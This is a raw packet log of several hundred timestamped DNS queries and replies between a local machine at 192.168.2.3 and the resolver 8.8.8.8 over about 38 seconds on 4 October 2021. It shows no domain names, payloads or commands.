Oct 4, 2021 16:01:17.005112886 CEST	53	61120	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:17.011149883 CEST	53079	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:17.034152985 CEST	53	53079	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:17.043487072 CEST	50824	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:17.064096928 CEST	53	50824	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:17.074904919 CEST	56706	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:17.098162889 CEST	53	56706	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:17.904062033 CEST	53569	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:17.918346882 CEST	62855	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:17.924074888 CEST	53	53569	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:17.929744959 CEST	51046	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:17.934752941 CEST	53	62855	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:17.941803932 CEST	65501	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:17.947803020 CEST	53	51046	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:17.960160971 CEST	53	65501	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:18.949887991 CEST	53465	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:18.968645096 CEST	53	53465	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:19.205588102 CEST	49290	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:19.218950987 CEST	59754	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:19.229377031 CEST	53	49290	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:19.236155033 CEST	49234	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:19.236545086 CEST	53	59754	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:19.252310991 CEST	53	49234	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:20.863337040 CEST	58720	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:20.882368088 CEST	53	58720	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:20.896328926 CEST	57447	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:20.918199062 CEST	53	57447	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:21.145982981 CEST	63583	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:21.164243937 CEST	53	63583	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:21.174222946 CEST	64099	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:21.190628052 CEST	53	64099	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:23.616425037 CEST	64610	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:23.677265882 CEST	53	64610	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:23.682559967 CEST	51989	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:23.713159084 CEST	53	51989	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:23.802339077 CEST	53152	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:23.842664957 CEST	53	53152	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:23.865853071 CEST	61590	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:23.884960890 CEST	53	61590	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:24.666285038 CEST	56077	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:24.693101883 CEST	53	56077	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:24.703804016 CEST	57951	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:24.735342979 CEST	53	57951	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:24.975909948 CEST	53276	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:24.995620012 CEST	53	53276	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:25.001584053 CEST	60135	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:25.019263029 CEST	53	60135	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:25.553703070 CEST	49849	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:25.572634935 CEST	53	49849	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:25.579721928 CEST	60253	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:25.598095894 CEST	53	60253	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:25.893637896 CEST	58706	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:25.912390947 CEST	53	58706	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:25.959381104 CEST	62677	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:25.977901936 CEST	53	62677	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:26.181858063 CEST	62595	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:26.200340033 CEST	53	62595	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:26.383737087 CEST	51189	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:26.401560068 CEST	53	51189	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:26.408634901 CEST	49967	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:26.427462101 CEST	53	49967	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:26.910490990 CEST	51454	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:26.929071903 CEST	53	51454	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:26.951529026 CEST	57163	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:26.969803095 CEST	53	57163	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:27.333690882 CEST	56360	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:27.359719992 CEST	53	56360	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:27.368235111 CEST	49258	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:27.387818098 CEST	53	49258	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:28.120554924 CEST	56195	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:28.139285088 CEST	53	56195	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:28.144573927 CEST	53021	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:28.171000957 CEST	53	53021	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:28.259315014 CEST	52618	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:28.279285908 CEST	53	52618	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:28.286624908 CEST	51633	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:28.303375006 CEST	53	51633	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:29.033257961 CEST	64383	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:29.054306984 CEST	53	64383	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:29.060336113 CEST	50346	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:29.077227116 CEST	53	50346	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:29.089622974 CEST	50281	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:29.108527899 CEST	53	50281	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:29.115420103 CEST	56328	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:29.134242058 CEST	53	56328	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:29.877839088 CEST	56921	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:29.896220922 CEST	53	56921	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:29.900388002 CEST	59529	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:29.918338060 CEST	53	59529	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:30.044207096 CEST	64853	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:30.063359976 CEST	53	64853	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:30.070188999 CEST	56317	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:30.193700075 CEST	53	56317	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:30.789279938 CEST	51570	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:30.808286905 CEST	53	51570	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:30.834824085 CEST	53663	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:30.855217934 CEST	53	53663	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:31.100950003 CEST	60070	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:31.121056080 CEST	53	60070	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:31.127912998 CEST	58750	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:31.185765028 CEST	53	58750	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:32.426661015 CEST	60727	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:32.444674969 CEST	53	60727	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:32.453332901 CEST	63753	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:32.471585035 CEST	53	63753	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:32.481416941 CEST	54609	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:32.501914978 CEST	53	54609	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:32.508220911 CEST	52405	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:32.527040005 CEST	53	52405	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:33.343187094 CEST	56219	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:33.362649918 CEST	53	56219	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:33.369683027 CEST	52312	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:33.388326883 CEST	53	52312	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:33.503530979 CEST	64731	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:33.523303032 CEST	53	64731	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:33.529046059 CEST	59130	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:33.547418118 CEST	53	59130	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:34.163697004 CEST	51636	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:34.181004047 CEST	53	51636	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:34.185780048 CEST	60432	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:34.303262949 CEST	53	60432	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:34.413894892 CEST	64271	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:34.433707952 CEST	53	64271	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:34.440032005 CEST	51973	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:34.458389997 CEST	53	51973	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:35.185321093 CEST	63193	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:35.201847076 CEST	53	63193	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:35.208766937 CEST	53946	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:35.227109909 CEST	53	53946	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:35.358616114 CEST	61244	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:35.378155947 CEST	53	61244	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:35.383666039 CEST	55029	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:35.402966976 CEST	53	55029	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:36.046560049 CEST	59613	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:36.065129995 CEST	53	59613	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:36.069169998 CEST	50033	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:36.087625027 CEST	53	50033	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:36.376852036 CEST	51235	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:36.394066095 CEST	53	51235	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:36.397943974 CEST	56240	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:36.417362928 CEST	53	56240	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:36.865366936 CEST	55150	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:36.884025097 CEST	53	55150	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:36.888991117 CEST	62723	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:36.908879995 CEST	53	62723	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:37.284557104 CEST	57330	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:37.303158045 CEST	53	57330	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:37.307810068 CEST	55857	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:37.328053951 CEST	53	55857	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:37.722335100 CEST	55352	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:37.743530989 CEST	53	55352	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:37.749619007 CEST	62257	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:37.770184994 CEST	53	62257	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:38.200309992 CEST	62016	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:38.219321966 CEST	53	62016	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:38.224818945 CEST	56679	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:38.243346930 CEST	53	56679	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:38.633157015 CEST	64513	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:38.652195930 CEST	53	64513	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:38.658793926 CEST	58024	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:38.677011013 CEST	53	58024	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:39.193495035 CEST	50725	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:39.214328051 CEST	53	50725	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:39.226191998 CEST	60883	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:39.246087074 CEST	53	60883	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:39.450992107 CEST	49731	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:39.470669031 CEST	53	49731	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:39.476640940 CEST	61357	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:39.493341923 CEST	53	61357	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:40.034641027 CEST	52520	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:40.054497957 CEST	53	52520	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:40.058763027 CEST	52476	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:40.075522900 CEST	53	52476	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:40.424410105 CEST	49196	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:40.443347931 CEST	53	49196	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:40.448702097 CEST	63569	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:40.467380047 CEST	53	63569	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:40.938163042 CEST	60463	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:40.958514929 CEST	53	60463	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:40.963900089 CEST	61914	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:40.982429028 CEST	53	61914	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:41.313707113 CEST	65348	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:41.332348108 CEST	53	65348	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:41.337910891 CEST	58302	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:41.357707024 CEST	53	58302	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:42.156322956 CEST	59725	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:42.174159050 CEST	53	59725	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:42.181127071 CEST	53091	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:42.199337959 CEST	53	53091	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:42.203671932 CEST	62067	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:42.223073006 CEST	53	62067	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:42.229407072 CEST	64437	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:42.247559071 CEST	53	64437	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:43.111031055 CEST	53489	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:43.114087105 CEST	55822	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:43.129689932 CEST	53	53489	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:43.133128881 CEST	53	55822	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:43.136482954 CEST	60635	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:43.143177986 CEST	64398	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:43.157613039 CEST	53	60635	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:43.167695999 CEST	53	64398	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:43.996592999 CEST	54979	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:44.005165100 CEST	60067	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:44.015345097 CEST	53	54979	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:44.020334959 CEST	51743	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:44.023895979 CEST	53	60067	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:44.029442072 CEST	49334	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:44.038552999 CEST	53	51743	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:44.045631886 CEST	53	49334	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:44.828715086 CEST	59505	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:44.844912052 CEST	53	59505	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:44.849232912 CEST	52010	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:44.867496014 CEST	53	52010	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:44.937653065 CEST	53081	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:44.955339909 CEST	53	53081	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:44.959513903 CEST	60661	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:44.977309942 CEST	53	60661	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:45.717844009 CEST	54639	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:45.735486031 CEST	53	54639	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:45.740358114 CEST	55921	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:45.740828037 CEST	54909	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:45.759480953 CEST	53	55921	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:45.759613991 CEST	53	54909	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:45.763588905 CEST	64969	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:45.781214952 CEST	53	64969	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:46.615693092 CEST	54823	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:46.634814978 CEST	53	54823	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:46.641187906 CEST	49327	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:46.659226894 CEST	53	49327	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:46.688340902 CEST	60448	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:46.706413984 CEST	53	60448	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:46.711764097 CEST	54355	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:46.729856968 CEST	53	54355	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:47.672683954 CEST	55631	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:47.691091061 CEST	53	55631	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:47.697707891 CEST	54331	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:47.716222048 CEST	53	54331	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:47.876174927 CEST	62604	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:47.892817974 CEST	53	62604	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:47.897595882 CEST	56194	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:47.915688992 CEST	53	56194	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:48.735488892 CEST	59228	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:48.751943111 CEST	53	59228	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:48.767301083 CEST	57569	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:48.785895109 CEST	53	57569	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:48.941720963 CEST	58561	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:48.954449892 CEST	60687	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:48.960557938 CEST	53	58561	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:48.975075960 CEST	53	60687	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:49.001002073 CEST	56196	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:49.008228064 CEST	61720	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:49.019747019 CEST	53	56196	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:49.042074919 CEST	53	61720	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:49.130811930 CEST	62036	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:49.150815964 CEST	53	62036	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:49.532339096 CEST	57484	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:49.549628973 CEST	53	57484	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:49.554949045 CEST	61385	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:49.573421001 CEST	53	61385	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:49.628674030 CEST	57796	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:49.647134066 CEST	53	57796	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:49.850584030 CEST	60411	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:49.866736889 CEST	53	60411	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:49.870819092 CEST	54676	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:49.888550997 CEST	53	54676	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:50.137212992 CEST	63562	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:50.155766964 CEST	53	63562	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:50.445039034 CEST	62098	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:50.464051962 CEST	53	62098	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:50.468364000 CEST	58296	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:50.479784012 CEST	60434	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:50.486118078 CEST	53	58296	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:50.498147011 CEST	53	60434	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:50.557957888 CEST	49485	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:50.576109886 CEST	53	49485	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:50.706962109 CEST	51033	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:50.725146055 CEST	53	51033	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:50.729501963 CEST	58362	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:50.747565985 CEST	53	58362	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:51.087157011 CEST	56918	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:51.105434895 CEST	53	56918	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:51.256699085 CEST	59490	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:51.281382084 CEST	53	59490	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:51.325978994 CEST	59091	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:51.344121933 CEST	53	59091	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:51.371548891 CEST	52267	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:51.389811993 CEST	53	52267	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:51.420486927 CEST	63382	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:51.455049992 CEST	53	63382	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:51.588351011 CEST	62388	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:51.607173920 CEST	53	62388	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:51.612734079 CEST	60033	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:51.630897999 CEST	53	60033	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:51.643199921 CEST	51748	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:51.661606073 CEST	53	51748	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:52.151921988 CEST	58531	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:52.170308113 CEST	53	58531	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:52.178745985 CEST	50501	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:52.200078011 CEST	53	50501	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:52.247950077 CEST	54716	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:52.296806097 CEST	53	54716	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:52.403517008 CEST	50919	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:52.421705961 CEST	53	50919	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:52.427414894 CEST	56996	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:52.445604086 CEST	53	56996	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:52.977982044 CEST	51675	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:52.996352911 CEST	53	51675	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:53.048532963 CEST	50228	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:53.064615011 CEST	53	50228	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:53.072036982 CEST	57537	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:53.090656042 CEST	53	57537	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:53.326735973 CEST	57235	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:53.343628883 CEST	53	57235	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:53.350075006 CEST	64913	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:53.465876102 CEST	53	64913	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:53.869817019 CEST	64048	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:53.888308048 CEST	53	64048	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:53.890398026 CEST	63383	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:53.906785965 CEST	53	63383	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:53.912369013 CEST	50191	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:53.930429935 CEST	53	50191	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:54.282213926 CEST	51407	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:54.300546885 CEST	53	51407	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:54.302048922 CEST	53718	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:54.305397987 CEST	50568	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:54.320519924 CEST	53	53718	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:54.323960066 CEST	53	50568	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:54.652982950 CEST	49390	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:54.671127081 CEST	53	49390	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:54.675585985 CEST	55390	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:54.693877935 CEST	53	55390	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:55.098561049 CEST	62361	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:55.116909981 CEST	53	62361	8.8.8.8	192.168.2.3
